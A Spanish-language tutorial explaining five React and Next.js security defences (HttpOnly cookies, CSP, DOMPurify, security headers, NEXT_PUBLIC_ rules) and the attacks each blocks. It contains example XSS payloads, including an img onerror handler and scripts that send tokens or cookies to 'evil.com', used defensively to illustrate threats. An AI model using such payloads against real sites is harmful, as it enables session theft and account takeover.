Cinco defensas de seguridad frontend que toda aplicación React y Next.js necesita
Por qué las aplicaciones React y Next.js de producción utilizan cookies HttpOnly, CSP, DOMPurify, encabezados de seguridad y reglas NEXT_PUBLIC_, y qué tipo de ataques bloquea cada uno de ellos.
Es fácil considerar la seguridad como tarea del backend, sin embargo, muchas vulnerabilidades graves, desde sesiones robadas hasta claves API filtradas, tienen su origen en el código del cliente. Los proyectos en React y Next.js en producción contienen patrones que a primera vista parecen innecesarios: cookies HttpOnly, encabezados extraños en next.config.js, DOMPurify, variables NEXT_PUBLIC_ y una política de seguridad de contenido. Esta guía explica los cinco más importantes, el ataque que cada uno bloquea y las consideraciones para aplicarlos correctamente.
1. Mantener los tokens de autenticación fuera del JavaScript con cookies HttpOnly
El almacenamiento de tokens es probablemente la decisión de seguridad más importante en un frontend. Un enfoque común es guardar el token en localStorage:
localStorage.setItem("token", token);
y adjuntarlo a cada solicitud manualmente:
fetch("/profile", {
headers: {
Authorization: `Bearer ${token}`,
},
});
Funciona, pero deja el token legible por cualquier script que se ejecute en la página.
Cómo el XSS se convierte en toma de control de cuenta
El scripting entre sitios (XSS) significa que un atacante logra ejecutar su JavaScript dentro de tu sitio. Un punto de entrada típico es la renderización de HTML no confiable, como un comentario de usuario:
<div dangerouslySetInnerHTML={{ __html: comment }} />
Si el atacante puede hacer que se ejecute un script, leer el token es cuestión de una línea:
<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>
Estrictamente hablando, una etiqueta script insertada a través de innerHTML (que utiliza dangerouslySetInnerHTML) no se ejecuta; los ataques reales utilizan cargas útiles de controladores de eventos como la que se muestra en la sección 3. De cualquier manera, una vez que el script se ejecuta, localStorage queda completamente expuesto.
Quienquiera que posea un token de acceso puede iniciar sesión sin necesidad de la contraseña y acceder a la cuenta, hacerse pasar por el usuario, realizar transacciones o acceder a funciones de administrador.
Deja que el navegador almacene la sesión
La solución estándar es que el servidor genere la sesión en una cookie a la que los scripts no pueden acceder:
Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict
Cada atributo tiene una función específica:
HttpOnlyoculta la cookie de JavaScript: leerla desde un script, como se muestra a continuación, no devolverá su contenido.Securerestringe la cookie al uso con HTTPS.SameSite=Strictimpide que el navegador envíe la cookie en solicitudes provenientes de otros sitios, lo cual constituye una fuerte defensa contra el fraude de solicitudes entre sitios (CSRF).Stricttambién elimina la cookie cuando los usuarios llegan a través de enlaces de otros sitios, por lo que muchas aplicaciones eligenLax.
document.cookie
El cambio radica en la responsabilidad. Antes, el frontend controlaba el token:
Frontend controls token
Después, lo hace el navegador:
Browser controls token
Su código ya no genera un encabezado de este tipo en cada llamada:
Authorization: Bearer token
porque el navegador adjunta la cookie automáticamente. Las credenciales nunca pasan por el código de la aplicación. Para el lado del servidor, consulte nuestra comparación de sesiones y JWTs en Node.js.
2. Impida que se ejecuten los scripts inyectados con una política de seguridad de contenido
Una defensa que a menudo se pasa por alto es el encabezado denominado
Content-Security-Policy
que los proyectos Next.js suelen configurar en
next.config.js
Por qué las cookies HttpOnly no son suficientes
Supongamos que un atacante logra inyectar un script externo:
<script src="https://evil.com/hack.js"></script>
Por defecto, el navegador lo ejecuta. El atacante no puede leer la cookie, pero no es necesario: el script se ejecuta dentro de su origen, por lo que sus solicitudes transmiten automáticamente las cookies del usuario:
fetch("/send-money", {
method: "POST",
body: JSON.stringify({
amount: 50000,
to: "hacker",
}),
});
El servidor backend detecta una solicitud autenticada y procesa la transferencia. Este mismo punto de entrada permite otros ataques:
- Preguntas de inicio de sesión falsas. El script muestra un diálogo que parece oficial, como el texto a continuación, y todo lo que ingrese el usuario llega al atacante.
- Redirecciones forzadas. Los usuarios son enviados silenciosamente a un sitio de phishing que imita al suyo.
"Session expired. Enter password again."
Lista de permisos para código ejecutable
Una CSP indica al navegador qué fuentes de scripts puede ejecutar. Una política mínima se ve así:
Content-Security-Policy:
script-src 'self'
'self' significa que solo se permiten los scripts servidos desde su propio origen. Cuando la página encuentra un script de otro dominio, como el que se muestra a continuación, el navegador se niega a ejecutarlo:
<script src="evil.com/hack.js"></script>
En Next.js, puedes enviar el encabezado para cada ruta mediante headers() en la configuración:
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "Content-Security-Policy",
value: "script-src 'self';",
},
],
},
];
},
};
Considéralo como un punto de partida. Un simple script-src 'self' también bloquea los scripts incrustados, que Next.js utiliza para la hidratación; por lo tanto, una política estricta suele requerir códigos de verificación (revisa la documentación actual de Next.js para conocer el enfoque con middleware). Implementa primero nuevas políticas con Content-Security-Policy-Report-Only.
Dos capas, dos propósitos
Las cookies HttpOnly limitan los daños causados por XSS; CSP intenta impedir que los scripts se ejecuten en absoluto. La verdadera protección proviene del uso combinado de ambos.
3. Sanitiza el HTML antes de usar dangerouslySetInnerHTML
React solo previene XSS en su ruta de renderizado por defecto, donde el texto interpolado se escapa:
<p>{content}</p>
Así que si la API devuelve una cadena como esta, React la renderiza como texto visible en lugar de ejecutarla:
<script>alert("hacked")</script>
La solución es
dangerouslySetInnerHTML
y React incluyó la palabra
dangerously
intencionadamente en su nombre.
Cuando realmente necesitas HTML sin procesar
Los blogs, las páginas de CMS, la salida en Markdown y los editores de texto enriquecido necesitan renderizar HTML. Supongamos que el backend devuelve:
<h1>Frontend Security</h1>
<p>Learn React Security</p>
Al renderizarlo mediante interpolación normal:
<p>{content}</p>
las etiquetas se muestran como texto literal. Al usar la solución alternativa se obtiene contenido correctamente formateado:
<div dangerouslySetInnerHTML={{
__html: content
}} />
Se ve bien, y también constituye un punto de inyección.
La carga útil que sí se ejecuta
Un atacante envía marcado como este:
<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>
La fuente de la imagen es deliberadamente inválida, lo que provoca un fallo en la carga, y el manejador onerror ejecuta el JavaScript del atacante.
Límpielo con DOMPurify
La solución habitual es sanitizar el contenido antes de renderizarlo. Instale la biblioteca:
npm install dompurify
Importela:
import DOMPurify from "dompurify";
y sane el contenido antes de entregárselo a React (en el código real, la llamada a sanitize y el return deben estar en líneas separadas):
const safeHTML =
DOMPurify.sanitize(content);return (
<div
dangerouslySetInnerHTML={{
__html: safeHTML,
}}
/>
);
DOMPurify elimina constructos peligrosos como los elementos script, los manejadores de eventos en línea como onerror y onclick, las URLs javascript: en los enlaces, y los iframes inyectados, dejando solo marcado seguro. En el servidor no existe un DOM de navegador, por lo que el código renderizado en el servidor necesita una implementación de DOM como jsdom o sanitización en el momento de la escritura.
Los includes no confiables incluyen tu propio backend
Nunca confíes en los datos de entrada, ni siquiera provenientes de tu propia API; esos datos suelen originarse en fuentes menos confiables:
- usuarios finales
- panesles de administración
- editores de CMS
- APIs de terceros
- editores de texto enriquecido
4. Encabezados de seguridad del navegador que cierran brechas ocultas
Muchas configuraciones de producción establecen un trío de encabezados que son fáciles de pasar por alto:
X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options
Cada uno bloquea un tipo diferente de ataque.
X-Frame-Options contra el clickjacking
Un atacante crea una página en su propio dominio:
evil.com
y carga tu sitio dentro de un iframe invisible encima de ella. El usuario cree que está haciendo clic
Claim Prize
pero el clic llega al botón real que se encuentra debajo:
Transfer ₹50,000
Eso es clickjacking. La solución es prohibir el enmarcado:
X-Frame-Options: DENY
Luego, el navegador se niega a enmarcar sus páginas. El equivalente moderno de CSP es frame-ancestors 'none'; establecer ambos cubre a los navegadores más antiguos.
Strict-Transport-Security para forzar HTTPS
En redes no confiables como la Wi-Fi pública, el tráfico HTTP puro puede ser interceptado, exponiendo contraseñas, datos de sesión, códigos únicos y otra información privada. HSTS indica al navegador que utilice solo HTTPS:
Strict-Transport-Security:
max-age=31536000
Una vez que un navegador ha visto este encabezado, incluso una dirección escrita a mano como
http://example.com
se actualiza automáticamente a
https://example.com
antes de que cualquier solicitud salga de la máquina. El valor de max-age es de un año. El navegador solo aprende esta regla a través de HTTPS, por lo que la primera visita queda sin protección a menos que el dominio esté precargado.
X-Content-Type-Options contra el análisis de MIME
Historialmente, los navegadores intentaron adivinar el tipo real de un archivo. Si el servidor declara
Content-Type: image/jpeg
pero el archivo en realidad contiene código de script, un navegador que realiza análisis podría tratarlo como ejecutable. Deshabilitar ese comportamiento se logra con una cabecera:
X-Content-Type-Options:
nosniff
Ella indica al navegador que confíe en el Content-Type declarado y deje de adivinar.
Configurar las tres en Next.js
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key:
"Strict-Transport-Security",
value:
"max-age=31536000",
},
{
key:
"X-Content-Type-Options",
value: "nosniff",
},
],
},
];
},
};
Estas cabeceras cuestan casi nada y eliminan categorías completas de ataques.
5. Separar los secretos del servidor de las variables de entorno visibles para el navegador
Tener los archivos .env fuera de Git no hace que los secretos estén seguros. Lo importante es lo que termina dentro del paquete de JavaScript.
Cómo llegan los secretos al paquete
Tomemos una variable como esta:
SECRET_KEY=abc123
a la que se hace referencia desde el código del lado del cliente:
console.log(
process.env.SECRET_KEY
);
Cuando un compilador incluye variables de entorno en tiempo de compilación, el código generado contiene su valor literal:
console.log("abc123");
Cualquiera puede leerlo en las herramientas de desarrollo. Next.js previene este caso accidental: las variables que no tienen el prefijo NEXT_PUBLIC_ no se incluyen en el código del navegador y allí se consideran undefined. Las fugas de información ocurren cuando un dato confidencial recibe el prefijo público para silenciar un error, o cuando un componente del servidor lo pasa a un componente del cliente como prop.
El contrato NEXT_PUBLIC_
Solo las variables cuyos nombres comienzan con
NEXT_PUBLIC_
se incrustan en la versión del navegador. Un valor como este está bien para exponerlo:
NEXT_PUBLIC_API_URL=
https://api.com
y puede leerse en el código del cliente como:
process.env
.NEXT_PUBLIC_API_URL
ya que una URL de API es pública de todos modos.
Lo que nunca debe ser público
Estos elementos pertenecen únicamente al servidor:
JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS
Una configuración de producción típica
El repositorio no contiene ningún archivo .env, ya que dicho archivo está listado en .gitignore:
.env
Los valores reales son inyectados por el sistema CI/CD o la plataforma de hosting en el momento de la compilación o despliegue. Solo los valores NEXT_PUBLIC_ llegan al paquete del navegador; todo lo demás permanece en el servidor.
Regla a recordar: si el navegador puede acceder a un valor, este es público. En realidad, ningún secreto del frontend es verdaderamente secreto.
Puntos clave
La seguridad del frontend consiste en reducir la superficie de ataque y dificultar la explotación, capa por capa.
- Galletas HttpOnly impiden que los scripts inyectados accedan a los tokens de sesión.
- Una política de seguridad de contenido evita que se ejecuten scripts no autorizados, pero necesita códigos de verificación para coexistir con los scripts incrustados de Next.js.
dangerouslySetInnerHTML sea seguro para contenido que no has escrito.NEXT_PUBLIC_ determina qué se envía al navegador, así que considere ese prefijo como una decisión de publicación.Saber qué ataques evita cada patrón le permite configurarlo correctamente y detectar cuando falta alguno.